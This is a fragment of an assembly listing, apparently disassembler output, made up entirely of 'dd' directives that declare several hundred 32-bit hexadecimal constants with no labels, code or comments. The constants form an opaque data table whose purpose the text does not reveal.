		dd 26BBC74h, 236F2DFh, 0FE57D701h, 95B04472h, 0F3B288EBh
		dd 2FC6FD3Ch, 1CE6F8A1h, 4005F801h, 5F1BAD2Ah, 534094E9h
		dd 2E7B7FBBh, 2CD4A39h,	4E036B59h, 208E83E3h, 24F98839h
		dd 5BC7A0CCh, 8058E5B0h, 271A73CDh, 49F6C6F5h, 1667BEBCh
		dd 769148C5h, 6E333721h, 2A54C25Fh, 8C005B4Bh, 53585D16h
		dd 51BE56h, 0BB48093Ah,	62C24C6Ah, 471589Fh, 961B7905h
		dd 9110FF23h, 445B2707h, 70E91907h, 0DCE26BCAh,	7E9DF71Dh
		dd 0CE22F263h, 1590AB4h, 5055E531h, 28E0BDC8h, 25B31A7Bh
		dd 0B7BA2DCh, 13C9B08h,	9A50E835h, 4081407Ah, 4AB21F01h
		dd 2160681Ch, 28B8DD25h, 0B86BECE9h, 5E5720Ah, 65947292h
		dd 7E0105Bh, 0E6D95825h, 44563A62h, 74430376h, 0D88912A2h
		dd 9DE2D3E9h, 967BF61Ah, 6EE48337h, 888F547Ah, 65512CEh
		dd 4307E04Ch, 682F6BA4h, 0EC584BABh, 0FB2793EAh, 444A6A04h
		dd 0D4BA18B8h, 66A42050h, 68E6E1F7h, 96516924h,	6BB1E942h
		dd 0BA52D07Eh, 836E2DFAh, 304A3841h, 0E64103EBh, 468F0E85h
		dd 0D6FDE90Dh, 5AC4BDBDh, 0CD3CC830h, 0BA47104h, 14ABEFD1h
		dd 9C352DA5h, 0DF8CE252h, 0A0C9D9C9h, 0F45DFBF7h, 8A73954Fh
		dd 38F7B988h, 466EB12h,	0BF3E225Fh, 2C7CE9CAh, 52E5713Ch
		dd 0F88568C1h, 1DCFEE76h, 0D33DE0CBh, 4E870F47h, 0A2C9847Bh
		dd 0C98A8585h, 66995DC0h, 0A0CF5EBCh, 64EBC4F7h, 0C8FFC3A0h
		dd 0A93E4280h, 0E027A53Eh, 5E895E32h, 99F5FF1h,	70513772h
		dd 0CA6853C0h, 0BD98BD66h, 0D6BD94D3h, 225DC93Dh, 0F507017h
		dd 73C1F118h, 0E4AD2EE1h, 515DCC93h, 6D6E51BDh,	1B3C2A0Eh
		dd 7FCD41EEh, 0A20D4304h, 65C06802h, 2062EC57h,	0E12C74CFh
		dd 0A70B7CF0h, 155D2BCh, 6F831ACCh, 468E0F43h, 0FA555F9Ch
		dd 14E26FC3h, 0E9CEF4Ah, 601892F1h, 685AD959h, 61AA7182h
		dd 0BEA04061h, 6A2F9224h, 0B15B29FBh, 785606D9h, 0EB415FEEh
		dd 0E90740EDh, 6D9146EBh, 971BE502h, 0E4B8C144h, 0A880AA55h
		dd 0E17E5B4Dh, 0A8528CF0h, 1DF6888Ch, 5642BABFh, 0E34F1659h
		dd 0F652254Fh, 0B35D4401h, 52E5854h, 554946CEh,	39F7080h
		dd 2C0575CAh, 9FC1A3FEh, 0EC690DE5h, 7FB43FFFh,	0FCEE7F2Ch
		dd 0F5C85721h, 1D28924Eh, 0E9BCF178h, 574B73C7h, 0A0FCA01Ch
		dd 8ED0CD5Ah, 0F4EBED80h, 1D709C64h, 3656F2D1h,	4095277h
		dd 1EF99FFBh, 158CD053h, 9126E2Fh, 65E12CE9h, 663FBF2Bh
		dd 0D3F3A85Eh, 812E98F0h, 8C19D1E9h, 5F873A0Bh,	337501C6h
		dd 0F209719Ch, 0C7A82E5Eh, 394B0C98h, 2431020h,	423DEC4Fh
		dd 65D849E9h, 6E44B5h, 6BBF6018h, 0A92E581h, 0CDB0E3E7h
		dd 0FF2C7EC1h, 0D002FB23h, 4061554Bh, 1434FD19h, 920102AAh
		dd 3AB11D10h, 0EA3789BFh, 301C5668h, 66DDC187h,	0DE059828h
		dd 6C296EC0h, 0C24D52C8h, 0D6340470h, 43C52EC0h, 2FC6E18h
		dd 2471264h, 0E9567AB2h, 0C77DDE4Dh, 0C0EA610h,	883D8BAh
		dd 21993A17h, 0AD40C042h, 65C05D2Dh, 72D58CFh, 8B64F6D4h
		dd 0AA6873D6h, 7F267DB3h, 313785Ah, 5B2CBEBh, 5E802D27h
		dd 58FB39E4h, 5B01F25Fh, 0ED437A25h, 0CA68200Ch, 308B2216h
		dd 59A00EFh, 0C48C83BBh, 5EC7312Ch, 775D6062h, 532D9BEDh
		dd 53E90246h, 0E480036Eh, 0A14F56F3h, 5416A48h,	69CF1CB8h
		dd 9F62882h, 0B53E4E5Dh, 3E5BAFF8h, 5E6074E5h, 40883D0Dh
		dd 90ED4E96h, 3C34CAD3h, 92F5015Ah, 55A0800h, 70E007Bh
		dd 459A2D74h, 0FADF59DEh, 44F90728h, 0FE3BC411h, 0AFC584F7h
		dd 734701ADh, 0EC49DC66h, 0C8BDD926h, 0C0E76099h, 6892EE9Bh
		dd 44BD48E0h, 5F9198C2h, 0BA509594h, 5E8D34F0h,	424BB46Ch
		dd 0EA30C398h, 50050E33h, 0E508C57Eh, 3E82AF7Fh, 0EB69F985h
		dd 16A62804h, 5D514704h, 7D0E8BAEh, 688A2427h, 254F75F9h
		dd 0CC772AA9h, 565B17BFh, 0E029AAFFh, 0AA2E3C0Dh, 84D4CC45h
		dd 131AE4FBh, 5D17099Fh, 692672EDh, 0A5B210BDh,	0D617B748h
		dd 3C2F26CDh, 61668707h, 0B256883h, 933860AAh, 60004E75h
		dd 9EC33FBDh, 97FD01F5h, 0A425D416h, 72D67C37h,	8B6EB2FDh
		dd 8945F502h, 88898068h, 0E431772Ah, 0BE835051h, 0E43D2636h
		dd 0EB771271h, 56DEE8BCh, 0C4808493h, 17D51FCBh, 8AC4908Eh
		dd 384BCB6Ah, 0DDE25C87h, 62C5D6E7h, 53043E5Bh,	5A572EEFh
		dd 38820A95h, 23140BBEh, 17673440h, 80189F53h, 6D56ECB1h
		dd 2081D097h, 0C8A827EFh, 0B980071Fh, 0A10E017Ch, 1A200567h
		dd 232060F8h, 1689F40h,	4D76291Ch, 0F4EFD15Fh, 9CB7E2CDh
		dd 3547B30Eh, 0AF8AEAB6h, 2A44BB5Ah, 0F6A3D0A4h, 0CC39A705h
		dd 1A80FB06h, 9E1AFA68h, 7C2F60E9h, 210B612Eh, 0F825E9C1h
		dd 84BB0462h, 0D5FF8E29h, 0E592EE84h, 0C279F7F7h, 0E90BB568h
		dd 68BAC04Fh, 8E761E4Eh, 0F0BC894Bh, 0EA2D9F5Ah, 0C05AAEh
		dd 39B15D45h, 4E52EF81h, 0E9431706h, 1D43D83Dh,	2F4D3BC5h
		dd 7E90B77h, 20EAE056h,	0BD24F6D8h, 0C4B9736Bh,	76B221Dh
		dd 64D25C98h, 7A1BC9BEh, 0FD055F1Eh, 253564Dh, 72E9C789h
		dd 53BFA382h, 0A2AA8519h, 2CE0D2C9h, 0D508A22Ch, 53D4A68h
		dd 7E15112Eh, 8847780Bh, 0A4278171h, 96BEC35Fh,	0EB0B9EFCh
		dd 4326E71Bh, 0EC065A89h, 0BD2C67A3h, 3D755661h, 28F49E61h
		dd 0F1585F46h, 8B12B928h, 7DCDF349h, 0EAA44902h, 0AA20874Ch
		dd 67EC569h, 0B706048Dh, 87BB0985h, 55AB32C0h, 3FC2936Ah
		dd 127C0B0Ch, 0F852BB94h, 19F795FDh, 72281DF6h,	0F654236Bh
		dd 0F3284D04h, 940BBF17h, 9100F59Ah, 4604C0FEh,	0F3EB8013h
		dd 660A5DEEh, 0A8A03C8Eh, 0AA25479Dh, 0AE033737h, 6A32FD6Eh
		dd 870B5BB9h, 62551B68h, 0B81EF7A2h, 0E90AEF42h, 92B5CA9Dh
		dd 0CB1EAB41h, 0DDC12B89h, 0E8AFB365h, 2169ED20h, 4D025198h
		dd 0E27F1055h, 6834FE82h, 0B4E260Ch, 2D1C819h, 1389153Ch
		dd 4684199Eh, 9324ED0Bh, 0E0C2BA5Dh, 0E94897A7h, 85C08AC4h
		dd 0AF1251C7h, 28419801h, 90CEA0Ah, 32A358B0h, 0F2F462Ah
		dd 516929FFh, 402F557Ch, 0C45676F0h, 17AD0192h,	0A2BF97BFh
		dd 3BDC87DFh, 0B19C5699h, 0F3595402h, 5FCB7E18h, 25EE7889h
		dd 8DCDA30h, 6AA55B67h,	0B715A3F1h, 681228BBh, 0F6099F27h
		dd 6E66717Ah, 0E6D8B34Eh, 0F84AA4FFh, 9FC670EFh, 6B8C1BE7h
		dd 977629F8h, 80BE244h,	94CAD61h, 8558827h, 0EA0E5F18h
		dd 286D3F42h, 0F4555CFDh, 6E5DE800h, 7DE5BD47h,	2992C917h
		dd 48634AB0h, 57CF7109h, 2D8E422Ah, 31500576h, 9DA2FED2h
		dd 0EDD18382h, 1796FF41h, 0A33C0650h, 5E0CC023h, 296EF64Ch
		dd 3EC498F9h, 955B5753h
		dd 0F3EB8077h, 0FC84B788h, 0D9D94B01h, 0A4DF6C88h, 0A2E3E9BAh
		dd 5370DFEDh, 0B2B45012h, 0F61990EEh, 3FEE80DCh, 31C9E930h
		dd 44D7BBBh, 0DD095578h, 4D2BC5Bh, 28871EC2h, 1C7300D1h
		dd 99A681E2h, 77EA9F0Fh, 14312685h, 0AD2520A5h,	5E9DC9C6h
		dd 0AF0FC1B9h, 16AF3CC8h, 9DAF8041h, 819A2D23h,	17A9E950h
		dd 5973CF34h, 63817913h, 30C33DB8h, 471939BDh, 2A0C66A1h
		dd 9534C5DCh, 80D13EAh,	5B14020Ch, 3BA5D1DFh, 0D94A2A4Dh
		dd 50F36600h, 81B91696h, 58758703h, 440C093Eh, 83024756h
		dd 594C1114h, 56AE682Fh, 935AC5F0h, 0DCB253FDh,	42B9D269h
		dd 605D293Eh, 8086CC65h, 0B00B5052h, 84C8FE49h,	0A7EE88A8h
		dd 0F0BD1673h, 49AACAAEh, 45E64FDDh, 0A2348BC4h, 47BDD2F3h
		dd 4709EB88h, 0ECBCF59Eh, 408EE925h, 24685972h,	88426EECh
		dd 5C1EEB02h, 0E00C43CAh, 0FA37FCBh, 0BB58D829h, 8A7185Ch
		dd 0D3C7F63Dh, 3220AB0Ah, 0D093D03h, 83DBF777h,	5F16825Ah
		dd 5E797B18h, 3B5300CCh, 0B475E97Fh, 0DAD1B0AAh, 7A825A0Bh
		dd 75489DDDh, 0E6B5CE68h, 28F2713h, 978AED14h, 878B095Ch
		dd 0B887AAAh, 608C2772h, 91207EFCh, 650FA304h, 2D844178h
		dd 0FE885ED0h, 0F028275Bh, 2E9E01DDh, 0C8E4902Ch, 2FE9E804h
		dd 7E598007h, 13D4D62h,	2B4F1268h, 7C32BEE6h, 0CDFAEE67h
		dd 0E75ECA2Fh, 0FD589308h, 0C4EFB549h, 0C275A960h, 0DBCFB3E9h
		dd 0BF57963Eh, 0B5B6D724h, 0E30F347Ch, 27BF80Ah, 62CE10C2h
		dd 9CD87FDCh, 625EB00h,	0F7E94DAFh, 9F2EAC53h, 8EC25EEBh
		dd 0A125FBDDh, 0A06A9236h, 5A0455A9h, 52D5F75Dh, 0A49FFCE2h
		dd 6B54C9E8h, 0ED2DFC83h, 0F0EEB32Eh, 2654DF56h, 2175D601h
		dd 0B0462508h, 5EB45A5Ah, 247D5BB8h, 5B18C235h,	0F0E600Bh
		dd 0D62F338Ah, 8BD0C7DDh, 0FCED1B74h, 280B4FD3h, 77D7F74Eh
		dd 5F249A64h, 0C300336h, 789B9C13h, 0D972D2Ah, 6C9C719Bh
		dd 0B2F69A1h, 5ADB615Dh, 9FC7E27Eh, 0C7A632C9h,	9CBC0887h
		dd 4E586806h, 0F9CC2915h, 7712BCC4h, 312FA9BEh,	2B311D5Ch
		dd 0EFEA5DE2h, 0E97ED97Dh, 329021F2h, 0BF324F0Bh, 2E97049h
		dd 774EBB53h, 8DC17CA3h, 5C246ED3h, 15D0CEAh, 950991h
		dd 0C6505A4Bh, 7CD67DC4h, 0B3882DDAh, 0A2979846h, 4628476Fh
		dd 4B9E79ACh, 0D58C84C5h, 4B308E4Ah, 15FA95D1h,	685A5E00h
		dd 18630F27h, 0A91B9914h, 41245E17h, 5EC79087h,	45D2A0CEh
		dd 7CA3CC5Fh, 3C05A84h,	9331810Fh, 0B2AA8CFFh, 0D5891CCFh
		dd 97D5CE93h, 0F25952FBh, 8EFB85B6h, 1CCA28FAh,	0F9BF769Ah
		dd 0F55F46E4h, 684EE913h, 669B890h, 0EDFA9FF9h,	49122D7Ah
		dd 0A0C46AA1h, 9AE90703h, 0AB7B1369h, 0CB89E04h, 2F5E4768h
		dd 0B6774AA3h, 0D2971C8Ch, 609E552Fh, 9ABB5D4Ah, 3B6809B8h
		dd 7130F503h, 64EF7BE9h, 0BF075739h, 25382AA9h,	75AD17C2h
		dd 0F325E8E5h, 2683AF82h, 89286A85h, 0AE4192F8h, 95C123Bh
		dd 0CEFC067Eh, 0CC345125h, 564F7F22h, 0C3B29877h, 9220F5B7h
		dd 0E2885210h, 0A95AC8F6h, 9C4F1141h, 1DECDE43h, 0FD2FE199h
		dd 9C888640h, 5B5C244Dh, 63B84684h, 4F09EC90h, 5806FE20h
		dd 0FF07805Eh, 0CB682F30h, 98C899C8h, 3CD90880h, 0F6FE805Bh
		dd 50D25C52h, 0F9D8F189h, 501ED597h, 0D32797BEh, 278D2482h
		dd 0E5D99762h, 0C1D78584h, 5881BA00h, 4A0C56E4h, 2D172DE9h
		dd 0A8E0FFEEh, 0C26D2E6h, 0F0A7B52h, 9D248F12h,	7778C1FDh
		dd 0E99BC486h, 286CB91Eh, 0A609B5F2h, 59077427h, 0C7D74B63h
		dd 0FCE90B93h, 0BC17C1E3h, 0E17195CAh, 352A0B7Dh, 375181C9h
		dd 5CA3646h, 2EDF1025h,	49F2D781h, 34B0FE04h, 0BD7A5BCEh
		dd 7D608B29h, 0B2457BC9h, 0CAFB18C1h, 0B8C0D5B4h, 0CEB5B4C7h
		dd 7B681075h, 0DFE93D51h, 0B855C8B4h, 0F4645BBEh, 201E0564h
		dd 0B7C92FFAh, 3986FAAAh, 0DB858106h, 0C32AAC54h, 30CF02A9h
		dd 0FDBFF5B1h, 0F496E974h, 4A9D702Fh, 0EA5FC555h, 1721AB39h
		dd 18861FE0h, 0F5E0E942h, 0A951F280h, 5DCB8582h, 0C4E2D329h
		dd 1A39A2C1h, 13F82E7Fh, 784FC600h, 0B18D0F48h,	4D230797h
		dd 0F4A68072h, 74CD812Fh, 600DF939h, 7EB7FCAFh,	2012A888h
		dd 0E09DE225h, 2091C56Dh, 8728013Ch, 0D72CCDF5h, 0E66A9D50h
		dd 8148D9A5h, 7817302Dh, 4783535h, 0BC2BB07h, 3FF80906h
		dd 38F93E01h, 2B7868E4h, 0D3CE8C6Eh, 0E9C782BDh, 81E576A9h
		dd 0D451DBC5h, 19A03B34h, 0B5F37802h, 1227D163h, 0A0F3E401h
		dd 80DE226Ah, 10B8FE87h, 0C0008D3h, 8BAB961Eh, 5EF12731h
		dd 2A01E341h, 68C2F2E2h, 1271365Ch, 1898E941h, 0EE13953Fh
		dd 0F8A436C1h, 12D9FD2Fh, 0B54CA8B2h, 13DD74D6h, 0FAE4F4A5h
		dd 25E2E317h, 57C953DEh, 0F254EDEBh, 0EA0C52D1h, 0C51FFA49h
		dd 0AEDF29FBh, 0D0BB9684h, 68565058h, 11541E05h, 0F4AF5E26h
		dd 1070D4Ch, 7AE916CAh,	8BF7929h, 0EE408B2Eh, 0B00A7672h
		dd 0C9BB76ACh, 78AA4B7Fh, 0CFB23E1h, 157CC588h,	0A845713h
		dd 0CB677D04h, 23167B1Eh, 6482B799h, 5F01DF7Eh,	89DEF758h
		dd 9B4E2F6Ch, 8AAE0266h, 31E553FEh, 21E4F5h, 9146FF2h
		dd 70890F10h, 0CDD2CE5Eh, 0FFE2DD03h, 5D25A059h, 6F78B2B0h
		dd 85A581C6h, 0EAEB0597h, 0AB140148h, 0B4006BE3h, 3070B53Bh
		dd 5D25E9E5h, 0D94C7590h, 0DFEF0DD2h, 5F2760C0h, 90D93159h
		dd 0E908C73Ch, 2F8F5C30h, 3FCCA14Eh, 1E29E96h, 8A5AE42Dh
		dd 840D7D2Eh, 0B8AEAE95h, 9770F616h, 0E9F0A774h, 5DA7B771h
		dd 491E1FD1h, 25696A7h,	70788C9Ch, 0BD682F8Ch, 566944E6h
		dd 0E7297555h, 0E00E1204h, 30395BC7h, 8F730FEh,	1D885166h
		dd 1ED1F6F9h, 16682ACFh, 8FE8602h, 542DB558h, 0FC081386h
		dd 1DB7E19Bh, 0EAC19993h, 0E6F553h, 0DCE95605h,	44F5BACDh
		dd 3D3C75E1h, 0CACA8813h, 0DBE84FF4h, 0F256662Fh, 0BFB31C3Eh
		dd 0E95AF302h, 123C7C79h, 0E31A0945h, 0D7C80256h, 14DE0689h
		dd 0C836B71h, 90AF6304h, 7596885h, 6EA0C862h, 0B05001C4h
		dd 64096ED4h, 645BA55Fh, 0E1028F09h, 803B512Ch,	15722BE6h
		dd 0BC7B931h, 0BC2AF931h, 4BFA4D4h, 9B5D7F3h, 2E87E5Eh
		dd 304E7DEDh, 77E7E40Fh, 0ADCDF690h, 3A52534h, 70E92774h
		dd 0F80F508Ah, 2091B0D8h, 7695AFC6h, 0BDF03CEFh, 78DC29E2h
		dd 678AE9F0h, 7EEE7184h, 898E85A2h, 0CD81E0F5h,	41EEB561h
		dd 338796B5h, 0AC44BB08h, 59F078B2h, 73A0B905h,	92000B29h
		dd 1BF6411Eh, 23C73981h, 0B1F53D16h, 0D7C56E6Dh, 0A8BFB398h
		dd 3897C777h, 10E7C4E9h, 0B0FA6546h, 0F405BDD0h, 311D1A0Ch
		dd 0ABD384BEh, 0E9CE8AFCh, 0BBD13349h, 98BF5C16h, 4B398336h
		dd 75B14ABBh, 12055220h, 0A3E6EEE9h, 0B850805Fh, 22F1C5Fh
		dd 82522D31h, 0F8410621h, 0F48E7A1Ah, 9BC5E7Eh,	9775C41h
		dd 0CDFD0090h, 0B557F048h, 0CB0630C0h, 0E9122079h, 75EBBD6Ch
		dd 0A0AA1607h, 0C74BFE4Fh, 0AAF24EF4h, 31EA82B2h, 5DF0E97Ah
		dd 0AC780DF5h, 78720502h, 885F56A2h, 5E0207B3h,	66605368h
		dd 0EAD6D614h, 0F531A349h, 4C4CFF2Ch, 35EF995Bh, 1053FCF3h
		dd 4032278Ch, 0C70A48B4h, 177C008h, 370A4B25h, 958B606Eh
		dd 52EF91D6h, 5031B3BDh, 0D6BD4A5Dh, 8E512F27h,	0DE983E8Bh
		dd 0D1487897h, 200AC697h, 0B90432B2h, 469B2150h, 0BC7F12EAh
		dd 810D60CFh, 0F8926F1h, 0CB096D2Dh, 0BEEB0CA4h, 0A8058A4Ah
		dd 42E857A5h, 1B10EAEDh
		dd 1D054D52h, 0C0079C20h, 83A6DEE6h, 7204465Eh,	491D7D6Ch
		dd 73687549h, 195C449Dh, 0CB0A7C89h, 86413D1Bh,	0F0B9B10h
		dd 0E1FE2785h, 0E2D95E25h, 3297BB6h, 3FA76345h,	8693DF99h
		dd 38C3F13Dh, 7D4787C3h, 0BD92519Fh, 525F175Fh,	121D76A4h
		dd 868BB54h, 8B05A2D6h,	0F9A45EDEh, 6B3860FBh, 53A568D1h
		dd 996065B6h, 0B25A657Dh, 9752338Dh, 2F1C275h, 0F3AC9AD0h
		dd 34447F17h, 0F238B30Fh, 3AA63D21h, 1CC20820h,	5F045320h
		dd 0BC6281D9h, 16CE7DE8h, 7B749A3Dh, 594CD97h, 0A70CCEE9h
		dd 61BA5FB7h, 1574762Fh, 0A550E0BEh, 580E1C14h,	18C30FD6h
		dd 0C12985DFh, 7D08E410h, 4FC5015Ah, 0F3C61CE9h, 0EB5A75DFh
		dd 1016C0ACh, 0E9F8C821h, 5AD1D220h, 0AB1CC55Dh, 1F82A195h
		dd 3582F524h, 68010282h, 762665B4h, 16CC6D10h, 1602D6F7h
		dd 0E27FFEF9h, 0DB4CDF75h, 52B9E29Dh, 3C2C6209h, 1657C284h
		dd 8B6997B1h, 46B1C734h, 0E5F16101h, 5E5C02DFh,	0AE066B95h
		dd 6658463Ah, 0A57F3C88h, 89CF7EC7h, 0C6D507EDh, 0BCC506ABh
		dd 1867A722h, 0A641B209h, 884EFE68h, 7427BF20h,	0D9D57A8Ch
		dd 680B3AC7h, 797E5121h, 0DBB46742h, 0C0830AEEh, 5BD308FDh
		dd 687EB001h, 8C3E1DEAh, 1640AC15h, 5DF806BDh, 902945D1h
		dd 678E86C1h, 42E17E30h, 245E926Eh, 15571EDDh, 0D55A70E9h
		dd 95280317h, 2674F109h, 0E378506Dh, 3D066916h,	52F88000h
		dd 2DE90B8Ch, 0CF1214E4h, 24304455h, 5A717329h,	89CC717Fh
		dd 0DE43E5E9h, 2AA319A9h, 315002E7h, 8C65B65Fh,	5E22E599h
		dd 98D28ED0h, 66586FDAh, 1FF37ECEh, 0F62D7A7Fh,	2090F80Bh
		dd 5EB5C4FCh, 31F769D9h, 0EA693244h, 0F81DC603h, 88D9962Dh
		dd 0DA617EADh, 0B66B6B82h, 184B7A4Ah, 2B944CCh,	20D80287h
		dd 0F8F5E9D1h, 0B19C2720h, 0F0D7D6AFh, 0FE015B41h, 80D2F6CAh
		dd 916E7FEAh, 2298E86h,	7A3C5D5Fh, 1558DAC8h, 9A1765B9h
		dd 0B9C4D7A1h, 0B624CF82h, 7F0D8909h, 5FCBB764h, 0DDEBB954h
		dd 43728D40h, 0CD50E216h, 2C3679C4h, 0D9F70B66h, 0D8005D41h
		dd 372F84F6h, 59CA2912h, 11E6E4B4h, 4A6AFB43h, 0A95B8DE7h
		dd 6E04D66Ch, 0ADF4C2B8h, 11725D0Ch, 0F180C900h, 64B551CCh
		dd 4D7CDF0h, 0C5E5F26h,	0EFA7DE0h, 0FB9A69E8h, 0B6E94216h
		dd 5560C0E1h, 91583DC8h, 0E5DD941Ah, 0E8A900F7h, 9DD8F706h
		dd 0FAA0557Ch, 35131A4Ah, 6880E5F2h, 22C96EF5h,	0A588C8B6h
		dd 402412h, 0E1FB5E3Dh,	8FB0FA89h, 0D49F3492h, 6E50D945h
		dd 8588BB8Ah, 0E718088h, 0E1C3FAB1h, 0BF9FD094h, 139434AAh
		dd 0E0661243h, 0ED4CB699h, 88845ED6h, 0CADFDDA2h, 0C2CC6DC5h
		dd 965BC828h, 82A12C09h, 941C25Ch, 0B90C62DEh, 40784358h
		dd 0C505FE2Eh, 0A98E8D0Fh, 5D8B0842h, 0F78A0396h, 0B62DBBAh
		dd 70BFDF78h, 0F8E5BD09h, 2C607F9Eh, 0FF170Dh, 4B40353Ch
		dd 8DFE06EDh, 9385A4BAh, 5202D7A2h, 0CF1890BAh,	25DAFF2Fh
		dd 0CC206B00h, 81E3D16Ah, 3037E6F3h, 310C5D40h,	8812D877h
		dd 35ADDF01h, 0A8A2BA92h, 6A454492h, 585B00ECh,	9366BC68h
		dd 398F05FFh, 77C704B6h, 0C9570F64h, 832D04CFh,	0B59F7388h
		dd 0E5808601h, 0F0C5CCC7h, 4C206F92h, 30DDFBCEh, 0BD45F5F4h
		dd 886F9822h, 7079E548h, 5A81DC9Dh, 26F1C389h, 0C6D08365h
		dd 5E7492BBh, 4E11BDB1h, 0B0E93081h, 65EE1E3Eh,	7B58B17Ch
		dd 2AD49FE0h, 9516B3CAh, 52BD6CD0h, 2A53E2Eh, 0F1502A27h
		dd 6B099599h, 0E7EEFDFCh, 5C898E2Dh, 2E74A7Ah, 563E0ACDh
		dd 6C1B71D7h, 0AC404D34h, 28DCEDF7h, 65DB9763h,	82BD9516h
		dd 1955E101h, 61493E0Dh, 5E9F2875h, 0B98574AAh,	0A0EC841Ch
		dd 23018B06h, 790FBC80h, 98DA8780h, 0C06E20E1h,	0A0ED685Ah
		dd 0EFCA4F7Ah, 29630A40h, 90452206h, 0FAF84E69h, 758B5439h
		dd 885F9145h, 0FBC20D04h, 0CB255F09h, 7DC0A84Ah, 9E7FE998h
		dd 5B21DE5Dh, 7794AFA8h, 15106900h, 5568527Bh, 72B3224Ah
		dd 4A617E05h, 4FC4621Bh, 2179E60h, 0BB99C9C4h, 51EA4D91h
		dd 34D7CACCh, 0BF04C2FEh, 0C04A4EF6h, 8E4A626Dh, 0EE550732h
		dd 0B749CE4Ch, 0D3BDA5F0h, 29EA00EDh, 0E91A9E3Ch, 0D0B9115Bh
		dd 0EAD3D02Dh, 21AAA812h, 787D4Bh, 95551D68h, 0CE0032FBh
		dd 0BB03A51Fh, 2E5B00ABh, 0E9FB313Eh, 93973D25h, 0DAE8C149h
		dd 0EE7D7C2h, 109E6427h, 4EBA06E9h, 1ED6F8C1h, 0BAC2C99Ah
		dd 0CB4215Eh, 43582DBDh, 0DC6FA400h, 53D66807h,	0FD25BBACh
		dd 5583115Ah, 2543B0E4h, 257917BBh, 2548E560h, 7D3C9041h
		dd 0D8D081DBh, 8803B753h, 66CCCF80h, 0F6FEB052h, 0F0F7F4D6h
		dd 27EFFA5Ah, 82D7302Ah, 59837CDFh, 55561E3Ch, 2C01A272h
		dd 6F8F0F90h, 91A33FA6h, 0FD543815h, 5029CC03h,	0C4810B4h
		dd 9E2A2CBDh, 54AFB7A4h, 0E563722Ch, 0F546CEEAh, 38F7C9F1h
		dd 0A168826Fh, 0CF4D5F1Eh, 2CA5B2Dh, 203F2153h,	2DDC0460h
		dd 0C6ACD30h, 7CCA0205h, 0A4CE0066h, 506DA054h,	56043DB8h
		dd 52E94D84h, 0BA03A6ECh, 8C06801Ah, 72FCBBD2h,	0F205319h
		dd 0B7517543h, 0E8B46B4Eh, 0AB5BC9F4h, 0BFEFC176h, 0D9481CA5h
		dd 310B35D0h, 0F299A144h, 92D02D1h, 68E9651Bh, 0F39570D0h
		dd 0D71B3E3Dh, 0F08346DBh, 3CC937B9h, 8481935Bh, 978C1CF8h
		dd 0FD06BEC6h, 0C05F7EF6h, 52856FA2h, 7AB2ABADh, 0B15C4426h
		dd 5D476CCh, 0EC5C0AFh,	0ABC70EBh, 0B58CF825h, 0BC3771h
		dd 0DA0AE021h, 0B5A83CE9h, 26A4F1D4h, 0B4871817h, 44B93DE2h
		dd 25CDA1E7h, 0FB7F8988h, 0C1731724h, 4E706BB1h, 19E91667h
		dd 0A85BBC4Ch, 358438E9h, 34579D70h, 9CCC9D6Dh,	0FE5FFE27h
		dd 6CE4D058h, 0F4B97795h, 2DFB3C3Bh, 0BD4C705Ch, 4CDAE55Ch
		dd 68510916h, 0B4FD6547h, 80F3B544h, 0C21FE90Bh, 6C4E5D54h
		dd 0B212124Fh, 9106DA8h, 0B3C75EDBh, 0B3BA2B14h, 555FC993h
		dd 0B5940D6Eh, 9F8A8052h, 53A346h, 0FF336D35h, 0D38E0F59h
		dd 0D5266AB5h, 5A012DC8h, 8F915486h, 56EB2D88h,	0E6F0145Dh
		dd 9D5263C2h, 4B8274ABh, 7200C54h, 0E76B5990h, 0B0325766h
		dd 7FCBD474h, 0B2E97510h, 0BA164765h, 0EEB795EEh, 8E390991h
		dd 4D760562h, 0AD5FCF43h, 1FAF4B12h, 6E738A80h,	0DDF92A9h
		dd 43060376h, 81FAD7DAh, 0D0C2D58h, 0A4C45546h,	68E34004h
		dd 0B23A9225h, 0E79A40EDh, 647782C9h, 34662956h, 40B06EB8h
		dd 0D494E7EBh, 1936D525h, 0B9515F02h, 61E41CC0h, 173E6849h
		dd 0B6B452C8h, 525F04D4h, 8AAC98E9h, 2DA1E64Bh,	0AD8DD634h
		dd 0BE92F5D2h, 0D676816h, 5210DFCCh, 0BF7F0865h, 0A4C2AD20h
		dd 5960AE39h, 2726F196h, 0AB18D207h, 0FC5F0285h, 19877F55h
		dd 3C06B4C3h, 8F96D12Fh, 0E30607DCh, 0AECD591Ah, 0ADEB5E9Eh
		dd 0E29F0FD5h, 5FBBB551h, 0B3671574h, 0C1BE30B4h, 60EB28B3h
		dd 0D4400781h, 0DB58955Dh, 0F285714Eh, 7B50D0DAh, 276E1240h
		dd 0E9DFCC13h, 3E0A68E1h, 6F33130Fh, 1DC3EA25h,	99EBDCD4h
		dd 2C212E7Dh, 8C6F4B31h, 29433039h, 0BA101A4Ch,	67BB02A2h
		dd 0D526F671h, 0EF80EED8h, 8682D1ADh, 20671203h, 5A37CB41h
		dd 7CE4A133h, 4022BA00h, 0BB063596h, 0AEA89E8Eh, 81B32764h
		dd 0FB9499D5h, 0EB20843Ah, 0AC848CA3h, 0FA25BE57h, 2859C280h
		dd 817B0161h, 1C5144CDh, 9E7A905Dh, 7404AF4Ah, 2CFE140Ch
		dd 0CD52E99Eh, 0BB810EA2h, 98EE128Ah, 0FA6F7253h, 25CECB22h
		dd 0A5EF57FBh, 5456D583h
		dd 18A4AA9Eh, 0C07A0BB2h, 1B0A08EAh, 8A9E09A2h,	259A7469h
		dd 8D8630F7h, 31A2784Ah, 1742E59Eh, 0C493D175h,	2551A819h
		dd 0BA015E2Dh, 5A0BBDCAh, 0DAAB9DD4h, 54332002h, 406DD231h
		dd 52952DD3h, 6856156Fh, 0BB80C445h, 435F470Ch,	607AE916h
		dd 0F516C8E3h, 9E91FCB3h, 4F403616h, 0C55DD30Dh, 0EF609D20h
		dd 350A8B02h, 0C9C301D2h, 0C920E424h, 6BAAE918h, 0EFA2B532h
		dd 0F82FE0CDh, 0BDF78027h, 901C4E2Eh, 7AEC2019h, 0CB97595Ah
		dd 0F26AB830h, 0D901279Eh, 0F8C17931h, 854B4E49h, 796F88BAh
		dd 72A76B4Eh, 3C05C04Ch, 806DA826h, 47229142h, 6C800360h
		dd 0C129A94Dh, 4605A50Ch, 5FDF4259h, 829B4CF5h,	0A477580h
		dd 0FE95E90Bh, 0C6F5251Bh, 0F7B3E255h, 51368001h, 8074BB87h
		dd 3F04C83Dh, 953D12Ch,	0FEA3B050h, 22444C82h, 56015F02h
